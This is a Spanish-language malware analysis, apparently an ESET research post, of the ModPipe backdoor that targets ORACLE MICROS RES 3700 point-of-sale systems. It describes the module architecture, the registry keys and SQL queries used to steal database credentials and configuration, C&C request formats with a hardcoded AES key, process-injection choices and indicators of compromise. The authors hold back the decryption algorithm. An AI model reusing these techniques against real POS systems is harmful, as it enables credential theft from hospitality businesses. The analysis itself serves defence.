Backdoor ModPipe afecta a software de POS utilizado en el sector hotelero

Los investigadores de ESET han descubierto ModPipe, un backdoor modular que brinda a sus operadores acceso a información confidencial almacenada en dispositivos que ejecutan el sistema POS ORACLE MICROS Restaurant Enterprise Series (RES) 3700, un software de gestión utilizado por cientos de miles de bares, restaurantes, hoteles y otros establecimientos de la industria hotelera.

Lo que distingue al backdoor son sus módulos descargables y sus capacidades. Uno de ellos, llamado GetMicInfo, contiene un algoritmo diseñado para recopilar contraseñas de bases de datos descifrándolas de los valores del registro de Windows. Esto muestra que los autores del backdoor tienen un conocimiento profundo del software al que apuntan y optaron por este método sofisticado en lugar de recopilar los datos a través de un enfoque más simple, pero "más ruidoso", como el registro de las pulsaciones de teclado (keylogging).

Las credenciales extraídas permiten a los operadores de ModPipe acceder al contenido de la base de datos, incluidas varias definiciones y configuraciones, tablas de estado e información sobre transacciones del POS.

Sin embargo, según la documentación de RES 3700 POS, los atacantes no deberían poder acceder a parte de la información más sensible, como números de tarjetas de crédito y fechas de vencimiento, que está protegida por cifrado. Los únicos datos de clientes almacenados en claro y, por lo tanto, disponibles para los atacantes, deberían ser los nombres de los titulares de tarjetas.

Esto limitaría la cantidad de información con valor de venta o para su uso indebido, lo que hace que el "modelo comercial" detrás de la operación no esté totalmente claro. Una posible explicación es que exista otro módulo descargable que permita a los operadores de malware descifrar los datos más sensibles en la base de datos del usuario.

Según la documentación, para lograr esto, los atacantes tendrían que realizar ingeniería inversa al proceso de generación de la "frase-contraseña específica del sitio", que se utiliza para derivar la clave de cifrado de datos confidenciales. Este proceso tendría que ser implementado dentro del módulo y, debido al uso de la API de protección de datos de Windows (DPAPI), ser ejecutado directamente en la máquina de la víctima. Otro aspecto que sigue sin saberse es el método de distribución de ModPipe. La mayoría de los objetivos identificados eran de Estados Unidos, con indicios de que se encontraban en sectores como el de la gastronomía y hotelería, donde están los principales clientes de RES 3700 POS.

Arquitectura de ModPipe

Nuestro análisis muestra que ModPipe utiliza una arquitectura modular que consta de componentes básicos y módulos descargables (para obtener una mejor descripción general, consulte la Figura 1):

1. Dropper inicial: contiene binarios de 32 y 64 bits de la siguiente etapa —el loader persistente— e instala la versión adecuada en la máquina comprometida.
2. Loader persistente: desempaqueta y carga la siguiente etapa del malware, es decir, el módulo principal.
3. Módulo principal: realiza la funcionalidad principal del malware. Crea una tubería (pipeline) utilizada para la comunicación con otros módulos maliciosos, desinstala/instala estos módulos y sirve como un despachador que maneja la comunicación entre los módulos y el servidor C&C del atacante.
4. Módulo de red: módulo utilizado para la comunicación con el C&C.
5. Módulos descargables: componentes que agregan funcionalidad específica al backdoor, como la capacidad de robar contraseñas de bases de datos e información de configuración, escanear direcciones IP específicas o adquirir una lista de los procesos en ejecución y sus módulos cargados.

Figura 1. Descripción general de la arquitectura del backdoor ModPipe

Módulos descargables

Probablemente, las partes más intrigantes de ModPipe son sus módulos descargables. Sabemos de su existencia desde finales de 2019, cuando encontramos y analizamos por primera vez sus componentes "básicos".

En abril de 2020, después de un par de meses de seguimiento, encontramos tres de estos módulos siendo utilizados de forma activa. La lista de todos los módulos descargables que encontramos y analizamos, y sus ID, representados por un valor sin firmar de 16 bits, están disponibles en la Tabla 1. Nuestra investigación también sugiere que los operadores utilizan al menos otros cuatro módulos descargables, cuya funcionalidad sigue siendo completamente desconocida para nosotros por ahora.

Vale la pena mencionar que algunos de estos módulos pueden crear una tubería o pipe nombrada con un formato de nombre GUID derivado del ID del módulo. Otros módulos pueden usar esta tubería para enviar comandos al módulo que la creó.

Tabla 1. Módulos descargables

Módulo descargable: GetMicInfo

GetMicInfo es un componente descargable que apunta a los datos relacionados con MICROS POS, incluidas contraseñas relacionadas a dos nombres de usuario de la base de datos predefinidos por el fabricante: dba y micros (consulte la Figura 2). Esta información está cifrada y almacenada en los valores de registro DataS5 (para dba) y DataS6 (para micros) dentro de una de las siguientes claves de registro:

• HKLM\Software\Micros\UserData o
• HKLM\Software\WOW6432Node\Micros\UserData si se ejecuta Windows 32-bit en el subsistema de Windows de 64 bits (WOW64)

Figura 2. Código descompilado con Hex-Rays de la función que roba contraseñas de la base de datos

El módulo GetMicInfo puede interceptar y descifrar estas contraseñas de la base de datos, utilizando un algoritmo específicamente diseñado. Para no ayudar a otros actores maliciosos, no revelaremos el funcionamiento interno del algoritmo. Dado que el mecanismo de descifrado no estaba disponible públicamente, existen al menos tres escenarios posibles de cómo los atacantes podrían haber creado el algoritmo:

• La opción más probable es que los atacantes adquirieran y aplicaran ingeniería inversa a la implementación del POS ORACLE MICROS RES 3700 y a las bibliotecas responsables del cifrado y descifrado de las contraseñas de la base de datos.
• Los atacantes podrían haber obtenido la información que describe la implementación del mecanismo de cifrado y descifrado de una violación de datos de 2016 descrita en una publicación en el blog de Brian Krebs.
• Los operadores de malware podrían haber comprado el código en el mercado clandestino.

Nuestro análisis muestra que en los casos en los que el módulo GetMicInfo descifra la contraseña para el nombre de usuario dba, también intentará adquirir la ruta a la biblioteca de la API SQL Anywhere de la variable de entorno “SQLANY_API_DLL” y cargarla si está disponible.

Si la variable de entorno no existe, el módulo intenta cargar la biblioteca con su nombre dbcapi.dll. Esta biblioteca es parte de Sybase SQL Anywhere, que es utilizada por RES 3700 POS.

Si uno de estos enfoques tiene éxito, GetMicInfo intenta conectarse a la base de datos utilizando la siguiente string de conexión:

DBN=micros;UID=dba;ENG=sql%PCNAME%;PWD=%decrypted_DataS5%

%PCNAME% representa el nombre del equipo recuperado a través de la API y GetComputerName y % decrypted_DataS5% representa el descifrado de la contraseña de usuario dba.

Después de establecer una conexión, GetMicInfo intenta ejecutar las siguientes consultas SQL e informar los resultados al módulo principal, utilizando un mensaje de tubería con el ID 0x10000013 (consulte la Tabla 3 para obtener una lista completa de mensajes de tubería y sus ID):

SELECT lan_node_seq,obj_num,name,lan_addr,ob_diskless,type,ip_addr,ip_netmask FROM micros.lan_node_def

SELECT dvc_tbl_seq,obj_num,name,type,com_port_seq,com_port,baud_rate,num_data_bits,num_stop_bits,parity_type,filename FROM micros.dev_def

SELECT tmed_seq,obj_num,name,type,ca_driver,edc_driver FROM micros.tmed_def

SELECT * FROM micros.caedc_driver_def

SELECT * FROM micros.interface_def

Los datos consultados contienen varias definiciones y configuraciones del sistema POS MICROS RES 3700 (consulte la Figura 3). Otra información robada por el módulo incluye la versión de MICROS POS e información sobre claves de registro específicas que probablemente estén relacionadas con diversas configuraciones de servicios de tarjetas de crédito.

Figura 3. Código descompilado con Hex-Rays de la función que roba datos de la base de datos

El módulo GetMicInfo se inyecta en uno de los procesos especificados por el C&C en el comando de instalación (0x0C). Según nuestros hallazgos, generalmente se asocia con uno de los siguientes procesos legítimos:

• MDSHTTPService.exe (Servicio HTTP MICROS MDS)
• CALSrv.exe (MICROS CAL Service – Aplicación cliente de carga)
• explorer.exe

Podemos confirmar que el módulo GetMicInfo puede obtener con éxito las contraseñas de la base de datos de RES 3700 POS v4.7 y v5.4. Para todas las demás versiones, no pudimos confirmar ni negar la capacidad del componente para obtener las bibliotecas específicas.

Módulo descargable: ModScan 2.20

El objetivo principal de ModScan 2.20 es recopilar información adicional sobre el entorno MICROS POS instalado en las máquinas mediante el escaneo de las direcciones IP seleccionadas. El módulo ModScan 2.20 se inyecta en uno de los procesos especificados por el C&C mediante un comando InstallMod (0x72). Según nuestros hallazgos, generalmente se asocia con uno de los siguientes procesos legítimos:

• MDSHTTPService.exe (Servicio MICROS MDS HTTP)
• CALSrv.exe (MICROS CAL Service - Aplicación cliente de carga)
• msdtc.exe
• jusched.exe
• spoolsv.exe
• services.exe

Differences between the injected processes misused by GetMicInfo and those targeted by ModScan 2.20 might be caused by the fact that GetMicInfo module is injected only into processes running under WOW64.

La lista de direcciones IP destinadas al escaneo y la dirección IP especial para hacer “ping” son especificadas por el C&C de una de las siguientes formas.

1. descargadas del C&C junto con el módulo ModScan, o
2. recibidas durante el tiempo de ejecución, utilizando la tubería nombrada asociada con el módulo ModScan.

El módulo ModScan maneja los comandos de tubería enumerados en la Tabla 2.

Tabla 2. Comandos de la tubería (pipe) del módulo ModScan 2.20

Rutina del procedimiento de escaneo

1. Antes de escanear, el módulo envía un mensaje "ping" especial, que contiene un valor de 32 bits generado por la función GetTickCount de la API de Windows, a los puertos TCP 50123 (utilizados por el servicio HTTP MDS) y 2638 (utilizados por el servidor de base de datos SAP Sybase) de la dirección IP del "ping".
2. La respuesta de la dirección IP de "ping" debe contener el mismo valor de 32 bits rotado un bit a la derecha y XOReado con el valor 0x6CF6B8A8. Si la respuesta en al menos uno de los puertos proporciona el valor apropiado, el módulo iniciará el escaneo de las direcciones IP seleccionadas. En la Figura 4 se muestra una descompilación de esta función de ping.

Figura 4. Código descompilado con Hex-Rays de la funcionalidad de ping de ModScan

3. Cuando el módulo ModScan inicia el escaneo, se puede recopilar parte de la siguiente información, según los parámetros recibidos junto con el comando de escaneo:

• Versión del POS Oracle MICROS RES 3700, que se adquiere mediante el envío de un mensaje HTTP Post (ver Figura 5) a la dirección IP especificada en el puerto 50123 utilizado por el Servicio HTTP MDS. La información buscada se almacena entre las etiquetas data en el xml (<data>% versión% </data> ) de la respuesta del servicio.

POST /%s HTTP/1.1
Accept: text/xml
User-Agent: MDS POS Client
Host: %s:50123
Content-Length: 459
Connection: Keep-Alive
Cache-Control: no-cache

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
    <SOAP-ENV:Body xmlns:MCRS-ENV="MCRS-URI">
        <MCRS-ENV:Service>MDSSYSUTILS</MCRS-ENV:Service>
        <MCRS-ENV:Method>Reg_GetValue</MCRS-ENV:Method>
        <MCRS-ENV:SessionKey>Session</MCRS-ENV:SessionKey>
        <MCRS-ENV:InputParameters>
            <Key>SOFTWARE\MICROS</Key>
            <KeyType>HKEY_LOCAL_MACHINE</KeyType>
            <KeyName>Version</KeyName>
        </MCRS-ENV:InputParameters>
    </SOAP-ENV:Body> 
</SOAP-ENV:Envelope>

Figura 5. Solicitud de servicio HTTP MDS

• Nombre de la base de datos, extraído mediante el envío de un paquete TCP especialmente diseñado (posiblemente usando el protocolo de comando CMDSEQ) a la dirección IP seleccionada en el puerto 2638 usado por el servidor de base de datos SAP Sybase. La string que representa el nombre de la base de datos se encuentra en el desplazamiento 0x28 de la respuesta enviada por el servidor de la base de datos.
• Datos del servidor de la base de datos, como su nombre, la versión del protocolo TDS y la versión del servidor TDS. Para obtener esta información, el módulo ModScan envía un paquete de inicio de sesión TDS 4.2 y 5.0 hardcodeado (Figura 6) a la dirección IP especificada en el puerto 2638. La respuesta incluye un paquete de confirmación de inicio de sesión que, en ambos casos, éxito y fracaso, contiene información sobre el servidor de la base de datos y las versiones de TDS utilizadas. El paquete de inicio de sesión de TDS está hardcodeado de forma rígida, con el nombre de usuario fijado en el dba incorporado y una contraseña hardcodeada, que es potencialmente la contraseña predeterminada en algunas versiones del POS RES 3700. Como no hemos encontrado ninguna referencia pública a esta contraseña, no la publicaremos en nuestro artículo.

Figura 6. Paquete de inicio de sesión TDS 4.2 y 5.0 utilizado por el módulo ModScan, diseccionado con Wireshark

Módulo descargable: ProcList

El último de los módulos descargables que pudimos obtener y analizar fue ProcList. Este es un módulo ligero que no tiene una ID asignada. Su propósito principal es recopilar información sobre los procesos que se están ejecutando actualmente, incluidos: nombre, identificador de proceso (PID), PID del proceso principal, número de hilos, propietario del token, dominio del token, tiempo de creación del proceso y línea de comando.

Opcionalmente, ProcList también puede recopilar información sobre los módulos cargados para cada uno de los procesos en ejecución. La información recopilada se envía al módulo principal del backdoor (mediante el mensaje de tubería (pipe) 0x10000013).

Dropper inicial

El dropper inicial es responsable de instalar la siguiente etapa del malware. Durante nuestra investigación descubrimos un dropper ejecutable en dos máquinas comprometidas, almacenado en las siguientes ubicaciones:

• C:\IQXDatabase\Live\1.exe
• C:\OasisLive\1.exe

Cada vez que se ejecuta el dropper inicial se genera una configuración única, utilizando principalmente bytes aleatorios. Esto hace que el hash del loader droppeado cambie con cada ejecución, lo que dificulta la detección y el seguimiento del malware. El componente dropper puede droppear el loader en dos ubicaciones posibles y configurar el mecanismo de persistencia creando un servicio de Windows o una clave de ejecución del registro de Windows (para obtener más información, consulte la sección Indicadores de Compromiso).

El payload cifrado, que contiene la funcionalidad principal del dropper, se almacena en los recursos del dropper como mapas de bits con nombres de la A a la L. El dropper descifra este payload utilizando el parámetro de línea de comandos proporcionado y luego la ejecuta. El payload es responsable de descifrar el loader apropiado según la arquitectura del sistema, por lo que puede ser de 32 bits o de 64 bits. Cada uno de los loaders es cifrado con su propia clave XOR, cada una de 0x80 bytes de longitud. El código descompilado responsable de cargar el payload de los recursos del binario, su descifrado y ejecución se muestra en la Figura 7.

Figura 7. Código descompilado con Hex-Rays: descifrado y ejecución del payload en el dropper inicial.

Un ejemplo de una configuración cifrada y descifrada junto con una explicación puede observarse en la Figura 8. La configuración que se muestra proviene del loader instalado por la muestra del dropper con el hash SHA-1 9f8530627a8ad38f47102f626dec9f0173b44cd5. Tenga en cuenta que la estructura de la configuración puede variar entre las versiones más antiguas y nuevas del ejecutable del loader.

Figura 8. Ejemplo de la configuración generada por el loader (la parte superior está cifrada, la inferior descifrada)

Loader persistente

Este componente es responsable tanto de desempaquetar el módulo principal como de su inyección en uno de los siguientes procesos:

• lsass.exe
• wininit.exe
• services.exe

Para descomprimir el módulo principal, el loader persistente utiliza diferentes enfoques para las versiones de 32 y 64 bits. Mientras que el loader de 32 bits es casi idéntico al dropper inicial (la única diferencia son los payloads almacenados en los recursos), el loader de 64 bits utiliza un código de "desempaquetado" completamente diferente.

Hemos encontrado siete versiones diferentes de los ejecutables del loader, cada una con una marca de tiempo de compilación diferente, la más antigua probablemente se originó en diciembre de 2017 y la última en junio de 2020. Para ver la línea de tiempo completa, consulte la Figura 9. Una lista de todos los hashes del loader se incluye en la sección de Indicadores de Compromiso.

Figura 9. Cronología de variantes conocidas de ModPipe y sus marcas de tiempo.

Módulo principal

El módulo principal es responsable principalmente de administrar la comunicación del C&C y de manejar los mensajes / comandos recibidos, ya sea desde C&C o desde módulos descargables. Para facilitar la comunicación con los módulos, el módulo principal comienza creando una tubería con un nombre formateado generado aleatoriamente usando la siguiente string de formato:

{%08X-%04X-%04X-%04X-%08X%04X}

Luego, revisa periódicamente la tubería o pipe en busca de nuevos mensajes utilizando la función PeekNamedPipe de la API de Windows. Los mensajes se analizan y gestionan de acuerdo con su contenido. Para obtener una lista completa de los comandos y mensajes de la tubería reconocidos, consulte la Tabla 3.

Tabla 3. Lista de los tipos de comando/mensaje de tubería

Para obtener el detalle de la estructura y el formato utilizado para los mensajes transferidos a través de la tubería, consulte la Figura 10.

Figura 10. Estructura del módulo principal llamado mensajes de tubería.

Para la comunicación con su servidor C&C, el módulo principal usa HTTP y el puerto 80. Cada una de las muestras diseccionadas contenía una lista de servidores potencialmente disponibles de los cuales se eligió uno al azar. Una lista de todas las direcciones de C&C descubiertas durante el curso de nuestra investigación está disponible en la sección Indicadores de Compromiso.

Los mensajes enviados al C&C (ver Figura 11) se construyen y cifran dentro del código del módulo principal.

Figura 11. Estructura de los mensajes enviados al C&C

Antes de cualquier comunicación con el C&C, el módulo principal genera dos URL limpias y las usa para verificar una conexión a Internet y darle al tráfico malicioso una cubierta de apariencia limpia. Las URL utilizan el siguiente formato www.%Dominio%[.]Com/?%Rand%, donde %dominio% se elige al azar de google, bing y yahoo y %rand% es un entero aleatorio de 32 bits sin signo representado en ASCII.

La comunicación con el C&C se cifra mediante AES en modo CBC con la siguiente clave de 128 bits: F45D076FEC641691A21F0C946EDA9BD5. Antes del cifrado, los mensajes C&C comienzan con una suma de comprobación de 4 bytes, que es calculada como CRC32 (mensaje) con XOR con los primeros 4 bytes de la clave AES utilizada para cifrar el mensaje. En el caso de la clave mencionada anteriormente, esta sería F4 5D 07 6F.

Los datos se transmiten mediante el módulo de red liviano, que se inyecta a demanda y sale inmediatamente después de cargar o descargar el mensaje solicitado. Para seleccionar el proceso de inyección, el módulo principal enumera los procesos en ejecución y les asigna un valor de prioridad entre 3 y 6. Aquellos con la mayor prioridad se inyectan primero, según los siguientes criterios:

• Prioridad 6
  • La prioridad más alta, asignada a cualquier proceso que ya se haya utilizado con éxito para inyectar un módulo de red, recibe una respuesta del C&C de que todavía se está ejecutando bajo el mismo PID, nombre y CreationTime.
• Prioridad 5
  • Nombre de proceso sin extensión que coincida con uno de los siguientes nombres de proceso utilizados para los navegadores: iexplore, opera, chrome, firefox
• Prioridad 4
  • Nombre de proceso sin extensión que coincida con los siguientes nombres de proceso: explorer, svchost
• Prioridad 3
  • Todos los demás procesos en ejecución, excepto los siguientes procesos del sistema: system, lsass, csrss, lsm, winlogon, smss, wininit

La razón principal detrás de la lista de prioridades es inyectar procesos que se espera que se comuniquen a través de la red y, al mismo tiempo, evitar los procesos del sistema que podrían llamar la atención si son detectados comunicándose a través de la red.

Módulo de redes

Este módulo ModPipe es responsable de enviar solicitudes al C&C y parsear el payload recibido en las respuestas de C&C. Los métodos HTTP POST o GET con los encabezados que se muestran en la Figura 12 y la Figura 13 pueden usarse para cargar datos al C&C y descargar payloads adicionales y comandos de C&C.

POST /robots.txt HTTP/1.1 
Accept: */* 
Content-Length: %data_length% 
Content-Type: application/octet-stream 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) 
Host: %remote_host% 
Cache-Control: no-cache 

%data%

Figura 12. Encabezado HTTP POST utilizado para contactar con el C&C

GET %rsrc_path% HTTP/1.1 
Accept: */* 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) 
Host: %remote_host% 
Cache-Control: no-cache

Figura 13. Encabezado del mensaje HTTP GET

Las respuestas del servidor C&C deben tener al menos 33 bytes de longitud para que puedan ser parseadas por el módulo de red y el payload malicioso se ubica después de una secuencia de 13 espacios seguidos de una etiqueta HTML de apertura de comentario. En la Figura 14 se muestra un ejemplo de una respuesta del servidor que incluye esta secuencia.

Figura 14. Ejemplo de respuesta de servidores C&C incluyendo el payload cifrado payload

Si se cumplen todas las condiciones, el módulo de red envía la respuesta del C&C al módulo principal mediante un mensaje de tubería con ID 0x10000072. Luego, el módulo principal descifra el payload, revisa su suma de verificación y ejecuta el comando de C&C. Los comandos disponibles se enumeran en la Tabla 4.

Tabla 4. Lista de comandos del módulo principal disponibles

Conclusión

ModPipe muestra bastantes características interesantes. Probablemente el hallazgo más intrigante es el algoritmo oculto en uno de los módulos del backdoor, que fue diseñado específicamente para robar credenciales descifrándolas de los valores del registro. Al adquirir las contraseñas de la base de datos, los atacantes obtienen un amplio acceso a la información sensible, aunque los datos más sensibles almacenados en dispositivos que ejecutan RES 3700 POS deben seguir protegidos por cifrado.

La arquitectura de ModPipe, los módulos y sus capacidades también indican que quienes los escribieron tienen un amplio conocimiento del software de POS de RES 3700 al que apuntan. El conocimiento del software por parte de los operadores podría tener como origen múltiples escenarios, incluyendo el robo y la ingeniería inversa del software, el uso indebido de partes filtradas o la compra de código en un mercado clandestino.

Para mantener lejos a los operadores detrás de ModPipe, se recomienda a las potenciales víctimas en el sector hotelero, así como a cualquier otra empresa que utilice el POS RES 3700:

• Utilice la última versión del software.
• Utilíceselo en dispositivos que ejecutan un sistema operativo y software actualizados.
• Utilice un software de seguridad de múltiples capas confiable que pueda detectar ModPipe y amenazas similares.

Indicadores de Compromiso

Direcciones IP del C&C

• 191.101.31[.]223
• 194.32.76[.]192
• 23.19.58[.]114
• 88.99.177[.]103
• 91.209.77[.]172
• 5.135.230[.]136

Dominios/URL del C&C

• subzeroday.zapto[.]org
• shj145ertyb.ddns[.]net/gettime.html
• ouidji12345.ddns[.]net/gettime.html

Muestras del dropper

• 9F8530627A8AD38F47102F626DEC9F0173B44CD5
• FEE9C08B494C80DBF73A6F70FACD20ED0429330D

Muestras del loader

• 0D1A4CB620576B8ADD34F919B4C6C46E7C3F9A59
• B47E05D67DC055AF5B0689782D67EAA2EB8C75E3
• F213B4EEF63F06EC127D3DC3265E14EE190B71E5
• B2CE307DFE65C188FDAE169ABD65B75B112522C4
• 2AC7A2C09E50EAFABF1F401194AC487ED96C6781
• 0F4355A17AABD3645788341EAC2A9BB759DB95EE

Rutas de archivo

• %CSIDL_APPDATA%\Microsoft\Windows\{%rand_guid%}\explorer.exe
• %WINDIR%\system32\%random_name%.exe

%rand_guid% - formato de string de GUID pseudo aleatorio
%random_name% - de 4 a 7 letras pseudo aleatorias (a-z) con la primera letra capital. Ejemplo: e.g. “Cvoeqo.exe”

Técnicas de MITRE ATT&CK

Nota: esta tabla fue creada utilizando la versión 7 del framework de MITRE ATT&CK .